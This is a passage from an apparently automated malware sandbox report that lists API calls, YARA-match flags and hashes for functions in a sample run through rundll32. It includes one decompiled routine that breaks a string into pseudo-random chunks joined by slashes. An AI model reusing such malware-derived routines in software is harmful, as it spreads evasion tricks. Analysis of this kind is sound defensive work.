                            • Part of subcall function 04CCB9E9: CreateFileW.KERNEL32(04CC0971,80000000,00000003,04CDA1E8,00000003,00000000,00000000,?,04CC0971,00000000,?,04CBC1F8,00000000), ref: 04CCBA16
                            • Part of subcall function 04CCB9E9: GetFileSize.KERNEL32(04CC0971,00000000,?,00000001,?,04CC0971,00000000,?,04CBC1F8,00000000), ref: 04CCBA49
                            • Part of subcall function 04CCB9E9: CreateFileMappingA.KERNEL32(04CC0971,04CDA1E8,00000002,00000000,00000000,04CC0971), ref: 04CCBA5D
                            • Part of subcall function 04CCB9E9: lstrlen.KERNEL32(04CC0971,?,04CC0971,00000000,?,04CBC1F8,00000000), ref: 04CCBA79
                            • Part of subcall function 04CCB9E9: lstrcpy.KERNEL32(?,04CC0971), ref: 04CCBA89
                            • Part of subcall function 04CCB9E9: HeapFree.KERNEL32(00000000,04CC0971,?,04CC0971,00000000,?,04CBC1F8,00000000), ref: 04CCBAA4
                            • Part of subcall function 04CCB9E9: CloseHandle.KERNEL32(04CC0971,?,00000001,?,04CC0971), ref: 04CCBAB6
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: File$CloseCreateHandleMappinglstrlen$CountFreeHeapOpenSizeTicklstrcpymemset
                          • String ID:
                          • API String ID: 3239194699-0
                          • Opcode ID: b4ac7fbb84782e91cfb7518f80062094e60a3e627fe6118663b7252531807ca7
                          • Instruction ID: b8c366b8dcc30bc4293b32da344b686f4dec6c8f7a6d1c6ea45b42df6bd76ccf
                          • Opcode Fuzzy Hash: b4ac7fbb84782e91cfb7518f80062094e60a3e627fe6118663b7252531807ca7
                          • Instruction Fuzzy Hash: 7A217F31940249EBDF21DF65EC84EEE7BBAEF44354F140125FD25921A0D731A909CBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CD2968 Relevance: 6.1, APIs: 4, Instructions: 75COMMON
                          Download Yara Rule
                          APIs
                          • RtlEnterCriticalSection.NTDLL(060DC2D0), ref: 04CD297E
                          • RtlLeaveCriticalSection.NTDLL(060DC2D0), ref: 04CD2999
                          • GetLastError.KERNEL32 ref: 04CD2A07
                          • GetLastError.KERNEL32 ref: 04CD2A16
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: CriticalErrorLastSection$EnterLeave
                          • String ID:
                          • API String ID: 2124651672-0
                          • Opcode ID: c582a9f2292fc9dd353f326cf17f1919b70a3fd99502610fc1fa43e75c74f8b6
                          • Instruction ID: 4e0722924317b4442610438ee585cb834bf9e932a20d55d9a4eecf7636c7fa1c
                          • Opcode Fuzzy Hash: c582a9f2292fc9dd353f326cf17f1919b70a3fd99502610fc1fa43e75c74f8b6
                          • Instruction Fuzzy Hash: 03213D36501218EFCB22CF94D944B9EBBB5FF48720F1541A9F916A3210D739EE11DB91
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB7D47 Relevance: 6.1, APIs: 4, Instructions: 70fileCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CBA698: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,00000208,00000000,00000000,?,?,04CB7D5E), ref: 04CBA6BE
                          • CreateFileA.KERNEL32(?,80000000,00000001,00000000,00000003,00000080,00000000,00000000,?,00000000,?,00000000,00000000,00000000,?,00000000), ref: 04CB7D99
                          • SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,?,?,04CBC556,?), ref: 04CB7DAB
                          • ReadFile.KERNEL32(?,?,00000004,?,00000000,?,?,?,?,?,04CBC556,?), ref: 04CB7DC3
                          • CloseHandle.KERNEL32(?,?,?,?,?,?,04CBC556,?), ref: 04CB7DDE
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: File$CloseCreateHandleModuleNamePointerRead
                          • String ID:
                          • API String ID: 1352878660-0
                          • Opcode ID: 918a631501f499f2f1832781948a288fe3b0340a7c3cdaace128cf5ab690a8e4
                          • Instruction ID: 6ba4697c34b6268235d89cef39f6af1c8647ab49716eca1389854599ca5ba461
                          • Opcode Fuzzy Hash: 918a631501f499f2f1832781948a288fe3b0340a7c3cdaace128cf5ab690a8e4
                          • Instruction Fuzzy Hash: 34115E71A02128BBDF21AE65CC88EFFBE7EEF45798F104156F905E1090D371AA40DAE0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CD1C9B Relevance: 6.1, APIs: 4, Instructions: 68stringCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlenW.KERNEL32(?,00000000,761F8250,761B69A0,?,?,?,04CB66C0,?,00000000,?), ref: 04CD1CAB
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                          • WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000001,00000000,00000001,00000000,00000000,00000001,?,?,?,04CB66C0,?,00000000,?), ref: 04CD1CCD
                          • lstrcpyW.KERNEL32(00000000,?), ref: 04CD1CF9
                          • lstrcatW.KERNEL32(00000000,?), ref: 04CD1D0C
                            • Part of subcall function 04CBB83F: strstr.NTDLL ref: 04CBB917
                            • Part of subcall function 04CBB83F: strstr.NTDLL ref: 04CBB96A
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: strstr$AllocateByteCharHeapMultiWidelstrcatlstrcpylstrlen
                          • String ID:
                          • API String ID: 3712611166-0
                          • Opcode ID: b6589a4bb29b4cfc42430a0fe59546cf1ececd6d394071f97df7e814b2379a40
                          • Instruction ID: 3cfd99b286dc0a924ba5540027647dc5dec686fb54815a9e6a7240327f02e6b9
                          • Opcode Fuzzy Hash: b6589a4bb29b4cfc42430a0fe59546cf1ececd6d394071f97df7e814b2379a40
                          • Instruction Fuzzy Hash: 2811497A501119BFDB11AFA5DC88DDF7FAEEF09258B044425FA0696110DB35EE01DBA0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CBA253 Relevance: 6.1, APIs: 4, Instructions: 68stringCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlen.KERNEL32(?,?), ref: 04CBA28B
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                          • lstrcpy.KERNEL32(00000000,?), ref: 04CBA2A2
                          • StrChrA.SHLWAPI(00000000,0000002E), ref: 04CBA2AB
                          • GetModuleHandleA.KERNEL32(00000000), ref: 04CBA2C9
                            • Part of subcall function 04CB8C35: VirtualProtect.KERNEL32(00000000,00000005,00000040,00000040,00000000,00000005,?,?,?,?,?,00000000,00000004,?,?,80000000), ref: 04CB8D0D
                            • Part of subcall function 04CB8C35: VirtualProtect.KERNEL32(?,00000004,?,?,?,?,00000000,00000004,?,?,80000000,00000000,00000001,04CD60B0,0000001C,04CCBE61), ref: 04CB8D28
                            • Part of subcall function 04CB8C35: RtlEnterCriticalSection.NTDLL(04CDA400), ref: 04CB8D4D
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: ProtectVirtual$AllocateCriticalEnterHandleHeapModuleSectionlstrcpylstrlen
                          • String ID:
                          • API String ID: 105881616-0
                          • Opcode ID: eb2544e3e1d60e3a4f0c83021b38d526c4f004ebd30b9f90396a1d7204e1b91e
                          • Instruction ID: b884d4aba029e808f6b3764d909833eab8454ee5fe60853c52291ba70daf1c3e
                          • Opcode Fuzzy Hash: eb2544e3e1d60e3a4f0c83021b38d526c4f004ebd30b9f90396a1d7204e1b91e
                          • Instruction Fuzzy Hash: 35212F74A00305EFDB21DF69C948BEEBBFAEF44304F148059E48697250DB75EA41DB91
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CD1D47 Relevance: 6.1, APIs: 4, Instructions: 67registryCOMMON
                          Download Yara Rule
                          APIs
                          • RegOpenKeyA.ADVAPI32(80000001,?,?), ref: 04CD1D62
                          • RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?), ref: 04CD1D86
                          • RegCloseKey.ADVAPI32(?), ref: 04CD1DDE
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                          • RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,?,?,00000000), ref: 04CD1DAF
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: QueryValue$AllocateCloseHeapOpen
                          • String ID:
                          • API String ID: 453107315-0
                          • Opcode ID: c5584b9d6fbce84cd0df05a405ff566fd1a2e597cbdd2477725b7a75858b4360
                          • Instruction ID: d3294c88b18f806e536aff826a23700e16236746635eb722567c4f666d2dafc7
                          • Opcode Fuzzy Hash: c5584b9d6fbce84cd0df05a405ff566fd1a2e597cbdd2477725b7a75858b4360
                          • Instruction Fuzzy Hash: AD21BAB991020CFFDF12DF95D8848EE7BBAEF49350F248456E902A7110E771AB51DB50
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB263B Relevance: 6.1, APIs: 4, Instructions: 61memorystringCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,04CCEAA8,00000000,?,00000000,04CBE842,00000000,060DC310), ref: 04CB2646
                          • RtlAllocateHeap.NTDLL(00000000,?), ref: 04CB265E
                          • memcpy.NTDLL(00000000,?,-00000008,?,?,?,04CCEAA8,00000000,?,00000000,04CBE842,00000000,060DC310), ref: 04CB26A2
                          • memcpy.NTDLL(00000001,?,00000001,?,?,?), ref: 04CB26C3
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: memcpy$AllocateHeaplstrlen
                          • String ID:
                          • API String ID: 1819133394-0
                          • Opcode ID: 61af7c5b84341a55958333f8b82792d8e9a5b0c1843331631c2a2726197cd428
                          • Instruction ID: 49fec6632e6407824234733d37d389624a51209ddd372c74661bc49492528f81
                          • Opcode Fuzzy Hash: 61af7c5b84341a55958333f8b82792d8e9a5b0c1843331631c2a2726197cd428
                          • Instruction Fuzzy Hash: 16112576A00214FFD7108E69EC88E9EBBEEDB95260F080176F845D7250EB74AE0497A0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04C74162 Relevance: 6.1, APIs: 4, Instructions: 61memorystringCOMMON
                          Download Yara Rule
                          C-Code - Quality: 68%
                          			E04C74162(unsigned int __eax, void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _t21;
				signed short _t23;
				char* _t27;
				void* _t29;
				void* _t30;
				unsigned int _t33;
				void* _t37;
				unsigned int _t38;
				void* _t41;
				void* _t42;
				int _t45;
				void* _t46;

				_t42 = __eax;
				__imp__(__eax, _t37, _t41, _t29, __ecx, __ecx);
				_t38 = __eax;
				_t30 = RtlAllocateHeap( *0x4c7a2d8, 0, (__eax >> 3) + __eax + 1);
				_v12 = _t30;
				if(_t30 != 0) {
					_v8 = _t42;
					do {
						_t33 = 0x18;
						if(_t38 <= _t33) {
							_t33 = _t38;
						}
						_t21 =  *0x4c7a2f0; // 0xa0e4e647
						_t23 = 0x3c6ef35f + _t21 * 0x19660d;
						 *0x4c7a2f0 = _t23;
						_t45 = (_t23 & 0x0000ffff) % (_t33 + 0xfffffff8) + 8;
						memcpy(_t30, _v8, _t45);
						_v8 = _v8 + _t45;
						_t27 = _t30 + _t45;
						_t38 = _t38 - _t45;
						_t46 = _t46 + 0xc;
						 *_t27 = 0x2f;
						_t13 = _t27 + 1; // 0x1
						_t30 = _t13;
					} while (_t38 > 8);
					memcpy(_t30, _v8, _t38 + 1);
				}
				return _v12;
			}

















                          0x04c7416a
                          0x04c7416d
                          0x04c74173
                          0x04c7418b
                          0x04c7418d
                          0x04c74192
                          0x04c74194
                          0x04c74197
                          0x04c74199
                          0x04c7419c
                          0x04c7419e
                          0x04c7419e
                          0x04c741a0
                          0x04c741ab
                          0x04c741b0
                          0x04c741c1
                          0x04c741c9
                          0x04c741ce
                          0x04c741d1
                          0x04c741d4
                          0x04c741d6
                          0x04c741d9
                          0x04c741dc
                          0x04c741dc
                          0x04c741df
                          0x04c741ea
                          0x04c741ef
                          0x04c741f9

                          APIs
                          • lstrlen.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,04C71DC6,00000000,?,746BC740,04C758D7,00000000,052495B0), ref: 04C7416D
                          • RtlAllocateHeap.NTDLL(00000000,?), ref: 04C74185
                          • memcpy.NTDLL(00000000,052495B0,-00000008,?,?,?,04C71DC6,00000000,?,746BC740,04C758D7,00000000,052495B0), ref: 04C741C9
                          • memcpy.NTDLL(00000001,052495B0,00000001,04C758D7,00000000,052495B0), ref: 04C741EA
                          Memory Dump Source
                          • Source File: 00000003.00000002.501550730.0000000004C71000.00000020.10000000.00040000.00000000.sdmp, Offset: 04C70000, based on PE: true
                          • Associated: 00000003.00000002.501541810.0000000004C70000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501561768.0000000004C79000.00000002.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501569378.0000000004C7A000.00000004.10000000.00040000.00000000.sdmpDownload File
                          • Associated: 00000003.00000002.501579122.0000000004C7C000.00000002.10000000.00040000.00000000.sdmpDownload File
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4c70000_rundll32.jbxd
                          Similarity
                          • API ID: memcpy$AllocateHeaplstrlen
                          • String ID:
                          • API String ID: 1819133394-0
                          • Opcode ID: a23bfbceda6aa3d097b86292712a9b7dbe32148dd780a1760cdccc037f82af2b
                          • Instruction ID: b515536afe4d49c09080990942e3a7cdfb7cd33ea1368d3af5858337601aa281
                          • Opcode Fuzzy Hash: a23bfbceda6aa3d097b86292712a9b7dbe32148dd780a1760cdccc037f82af2b
                          • Instruction Fuzzy Hash: 5E1129B6A00215BFD7108B69DC84E9E7FAEEB942A1B050176F504D7150E7759E04D7A0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC21FE Relevance: 6.1, APIs: 4, Instructions: 58threadCOMMON
                          Download Yara Rule
                          APIs
                          • GlobalFix.KERNEL32(00000000), ref: 04CC223E
                          • memset.NTDLL ref: 04CC2252
                          • GetWindowThreadProcessId.USER32(00000000,?), ref: 04CC225F
                            • Part of subcall function 04CCC563: OpenProcess.KERNEL32(00000410,B8F475FF,04CC2289,00000000,00000000,04CC2289,0000001C,00000000,00000000,?,?,?,04CC2289), ref: 04CCC5BD
                            • Part of subcall function 04CCC563: CloseHandle.KERNEL32(00000000,00000000,00000000,04CC2299,00000104,?,?,?,04CC2289), ref: 04CCC5DB
                            • Part of subcall function 04CCC563: GetSystemTimeAsFileTime.KERNEL32(04CC2289), ref: 04CCC643
                          • GlobalUnWire.KERNEL32(00000000), ref: 04CC228A
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: GlobalProcessTime$CloseFileHandleOpenSystemThreadWindowWirememset
                          • String ID:
                          • API String ID: 3286078456-0
                          • Opcode ID: 90efa624b4ba30a5c96adb5ca4247233b7cd90bb78e1aa2edc85dc547142b061
                          • Instruction ID: ba8eb97bdd5e015c0742edd1850bfa4b1f18b96fa55bdbb1f8334340d7050638
                          • Opcode Fuzzy Hash: 90efa624b4ba30a5c96adb5ca4247233b7cd90bb78e1aa2edc85dc547142b061
                          • Instruction Fuzzy Hash: EB1152BDD01305ABDB11BBB5D888BAE7BBDEF08711F04415AF906E2240DB78DA019B61
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CD1C1F Relevance: 6.1, APIs: 4, Instructions: 57COMMON
                          Download Yara Rule
                          APIs
                          • WideCharToMultiByte.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000000,00000000,00000000,00000000,00000001,?,?,?,04CBAE46,00000000,00000000), ref: 04CD1C3D
                          • GetLastError.KERNEL32(?,?,?,04CBAE46,00000000,00000000,00000000,00000000,0000001E,0000001E,?,?,?,04CBEBC1,?,0000001E), ref: 04CD1C45
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: ByteCharErrorLastMultiWide
                          • String ID:
                          • API String ID: 203985260-0
                          • Opcode ID: 1af9fb7ba7c0dec922d9bf8de33def32a9bd02f5cd94e4ecf776c2f6e64d2bca
                          • Instruction ID: bb6806b2a8fbbbda04f1750870e6bfa7bb420df3504ca6cdf36cca8a766e88ae
                          • Opcode Fuzzy Hash: 1af9fb7ba7c0dec922d9bf8de33def32a9bd02f5cd94e4ecf776c2f6e64d2bca
                          • Instruction Fuzzy Hash: 0D01FC352083517F8730AE769C4CD6BBB6EEBC6770B140A1DF96692180DB306800D670
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB27E0 Relevance: 6.1, APIs: 4, Instructions: 56stringCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlen.KERNEL32(?,?,?,00000000,?,?,04CB1D09,?,?,?,?,?,?,?,?,?), ref: 04CB27F4
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                          • mbstowcs.NTDLL ref: 04CB280E
                          • lstrlen.KERNEL32(?), ref: 04CB2819
                          • mbstowcs.NTDLL ref: 04CB2833
                            • Part of subcall function 04CCBAD1: lstrlenW.KERNEL32(?,00000000,00000001,?,00000250,?,00000000), ref: 04CCBB1D
                            • Part of subcall function 04CCBAD1: lstrlenW.KERNEL32(?,?,00000000), ref: 04CCBB29
                            • Part of subcall function 04CCBAD1: memset.NTDLL ref: 04CCBB71
                            • Part of subcall function 04CCBAD1: FindFirstFileW.KERNEL32(00000000,00000000), ref: 04CCBB8C
                            • Part of subcall function 04CCBAD1: lstrlenW.KERNEL32(0000002C), ref: 04CCBBC4
                            • Part of subcall function 04CCBAD1: lstrlenW.KERNEL32(?), ref: 04CCBBCC
                            • Part of subcall function 04CCBAD1: memset.NTDLL ref: 04CCBBEF
                            • Part of subcall function 04CCBAD1: wcscpy.NTDLL ref: 04CCBC01
                            • Part of subcall function 04CCE803: HeapFree.KERNEL32(00000000,?,04CC3953,?,?,04CCBF5B,00000000,00000000,04CB10B0,00000000,04CD9F2C,00000008,00000003), ref: 04CCE80F
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: lstrlen$Heapmbstowcsmemset$AllocateFileFindFirstFreewcscpy
                          • String ID:
                          • API String ID: 1961997177-0
                          • Opcode ID: b14948b843913034c1744d153f01bcf3fb066b1270f641984478c5a8121205dd
                          • Instruction ID: fff99e4f1db19db80245d0603f638cb360c2a5bf0cd4891574010daf9c5ae923
                          • Opcode Fuzzy Hash: b14948b843913034c1744d153f01bcf3fb066b1270f641984478c5a8121205dd
                          • Instruction Fuzzy Hash: 3301B173900304B7EF11ABA58C89FCF7BAEEF85758F10442AF60596140EA75EA01A7E0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CCE03B Relevance: 6.1, APIs: 4, Instructions: 54memorystringtimeCOMMON
                          Download Yara Rule
                          APIs
                          • GetSystemTimeAsFileTime.KERNEL32(00000000,00000000,00000000,00000000,00000000,00000000,00000000,?,04CC0D10,?,00000000,00000000), ref: 04CCE04E
                          • lstrlen.KERNEL32(060DC178,?,04CC0D10,?,00000000,00000000), ref: 04CCE06F
                          • RtlAllocateHeap.NTDLL(00000000,00000014), ref: 04CCE087
                          • lstrcpy.KERNEL32(00000000,060DC178), ref: 04CCE099
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Time$AllocateFileHeapSystemlstrcpylstrlen
                          • String ID:
                          • API String ID: 1929783139-0
                          • Opcode ID: 48d4d6a3834ee6a0a1e5927e38c194a29bb2e52c9b2c63c04b5f5d898b23b7cd
                          • Instruction ID: 9323869c8f26651e3468bc2e5f23dbfa6ebc19878160ac1dc779f3f95146556f
                          • Opcode Fuzzy Hash: 48d4d6a3834ee6a0a1e5927e38c194a29bb2e52c9b2c63c04b5f5d898b23b7cd
                          • Instruction Fuzzy Hash: 1D01C87A900244FFC7119FA9D844F5FBFBDEB49201F044069E946D3241DB34AA089BE1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB1B71 Relevance: 6.1, APIs: 4, Instructions: 54memorystringCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlen.KERNEL32(?), ref: 04CB1B7E
                          • RtlAllocateHeap.NTDLL(00000000,00000015), ref: 04CB1BA4
                          • lstrcpy.KERNEL32(00000014,?), ref: 04CB1BC9
                          • memcpy.NTDLL(?,?,?), ref: 04CB1BD6
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: AllocateHeaplstrcpylstrlenmemcpy
                          • String ID:
                          • API String ID: 1388643974-0
                          • Opcode ID: 2a04aabce8cff82a7ee6b40e74bc89354937d2e4efc6b29aff03d7488f8f9019
                          • Instruction ID: 1d3e0b2808d280fc37a519060ae4aa1eae75f2f272eb2d0f88e7b460670cac4d
                          • Opcode Fuzzy Hash: 2a04aabce8cff82a7ee6b40e74bc89354937d2e4efc6b29aff03d7488f8f9019
                          • Instruction Fuzzy Hash: E01149B550120AEFCB21CF58D844E9ABBF9FF48704F14846AF89A87210D775E904DB90
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC9E10 Relevance: 6.0, APIs: 4, Instructions: 50memorystringCOMMON
                          Download Yara Rule
                          APIs
                          • lstrlen.KERNEL32(?,76ECD3B0,?,761B5520,04CBB697,00000000,?,?,?,7620F710,00000000,00000000), ref: 04CC9E17
                          • RtlAllocateHeap.NTDLL(00000000,0000000D), ref: 04CC9E2F
                          • memcpy.NTDLL(0000000C,?,00000001), ref: 04CC9E45
                            • Part of subcall function 04CBA8E9: StrChrA.SHLWAPI(00000020,?,76ECD3B0,060DC304,00000000,?,04CB6584,?), ref: 04CBA90E
                            • Part of subcall function 04CBA8E9: StrTrimA.SHLWAPI(00000020,04CD5FCC,00000000,?,04CB6584,?), ref: 04CBA92D
                            • Part of subcall function 04CBA8E9: StrChrA.SHLWAPI(00000020,?,?,04CB6584,?), ref: 04CBA939
                          • HeapFree.KERNEL32(00000000,00000000,0000000C,00000020,00000000), ref: 04CC9E77
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: Heap$AllocateFreeTrimlstrlenmemcpy
                          • String ID:
                          • API String ID: 3208927540-0
                          • Opcode ID: a1aa00e8f54a5ad68fe647d7a76327a457d0e1ccb10c509e888de0feff1a314f
                          • Instruction ID: b9573a4d0178236fb93a3b07e248257741ab2fa7d7a3bd4a02307239f9a80ced
                          • Opcode Fuzzy Hash: a1aa00e8f54a5ad68fe647d7a76327a457d0e1ccb10c509e888de0feff1a314f
                          • Instruction Fuzzy Hash: A001A276701701EBE7215E56EC48F6B7BAAEBD0B51F04402DF64A99080DB75BC09E7A0
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CC5261 Relevance: 6.0, APIs: 4, Instructions: 50COMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CB9394: RtlAllocateHeap.NTDLL(00000000,?,04CC0051), ref: 04CB93A0
                          • RtlInitializeCriticalSection.NTDLL(04CDA400), ref: 04CC5285
                          • RtlInitializeCriticalSection.NTDLL(04CDA3E0), ref: 04CC529B
                          • GetVersion.KERNEL32(?,?,?,?,?,?,?,04CB9100,?,?,?,?,?), ref: 04CC52AC
                          • GetModuleHandleA.KERNEL32(00001683,?,?,?,?,?,?,?,04CB9100,?,?,?,?,?), ref: 04CC52E0
                            • Part of subcall function 04CC68AC: GetModuleHandleA.KERNEL32(?,00000001,774B9EB0,00000000,?,?,?,?,00000000,04CC52C3), ref: 04CC68C4
                            • Part of subcall function 04CC68AC: LoadLibraryA.KERNEL32(?), ref: 04CC6965
                            • Part of subcall function 04CC68AC: FreeLibrary.KERNEL32(00000000), ref: 04CC6970
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: CriticalHandleInitializeLibraryModuleSection$AllocateFreeHeapLoadVersion
                          • String ID:
                          • API String ID: 1711133254-0
                          • Opcode ID: 5cb4bb4f6ad3ba4c188f719f255888bacd375d059f3479ca43cccd86fdc00bdd
                          • Instruction ID: f5d97f2d667603d4b5e98bdd637c384ca771e478572de9f99104f724b373ae84
                          • Opcode Fuzzy Hash: 5cb4bb4f6ad3ba4c188f719f255888bacd375d059f3479ca43cccd86fdc00bdd
                          • Instruction Fuzzy Hash: 11111BBDA92321FBE7149FA9A88475577E6E789214700452EE205D7240D6BABC458F80
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB2530 Relevance: 6.0, APIs: 4, Instructions: 49sleepCOMMON
                          Download Yara Rule
                          APIs
                          • RtlEnterCriticalSection.NTDLL(04CDA428), ref: 04CB253B
                          • Sleep.KERNEL32(0000000A), ref: 04CB2545
                          • SetEvent.KERNEL32 ref: 04CB259C
                          • RtlLeaveCriticalSection.NTDLL(04CDA428), ref: 04CB25BB
                          Memory Dump Source
                          • Source File: 00000003.00000002.501664627.0000000004CB0000.00000040.10000000.00040000.00000000.sdmp, Offset: 04CB0000, based on PE: false
                          Joe Sandbox IDA Plugin
                          • Snapshot File: hcaresult_3_2_4cb0000_rundll32.jbxd
                          Yara matches
                          Similarity
                          • API ID: CriticalSection$EnterEventLeaveSleep
                          • String ID:
                          • API String ID: 1925615494-0
                          • Opcode ID: 4e5d3421710113445946b1c048adb4d2c49ddb08a4bbee4c6a3acaafa1ff8217
                          • Instruction ID: bc36710dbdcf422a8afb93b00c816f9be807b35883cacb729091e1ec7f88e50d
                          • Opcode Fuzzy Hash: 4e5d3421710113445946b1c048adb4d2c49ddb08a4bbee4c6a3acaafa1ff8217
                          • Instruction Fuzzy Hash: 880175B8641204FBE7109FA5DC59F9A3BAEEB04705F008061F606D6180D779FE089BE1
                          Uniqueness

                          Uniqueness Score: -1.00%

                          Function 04CB7BD8 Relevance: 6.0, APIs: 4, Instructions: 48fileCOMMON
                          Download Yara Rule
                          APIs
                            • Part of subcall function 04CD0DDD: lstrlen.KERNEL32(?,?,00000000,04CB7BEE), ref: 04CD0DE2
                            • Part of subcall function 04CD0DDD: RtlAllocateHeap.NTDLL(00000000,-0000000C), ref: 04CD0DF7
                            • Part of subcall function 04CD0DDD: wsprintfA.USER32 ref: 04CD0E13
                            • Part of subcall function 04CD0DDD: HeapFree.KERNEL32(00000000,00000000,00000000,000000FF), ref: 04CD0E2F
                          • CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000080,00000000), ref: 04CB7C06
                          • GetFileSize.KERNEL32(00000000,00000000), ref: 04CB7C15
                          • CloseHandle.KERNEL32(00000000), ref: 04CB7C1F
                          • GetLastError.KERNEL32 ref: 04CB7C27
                          Memory Dump Source
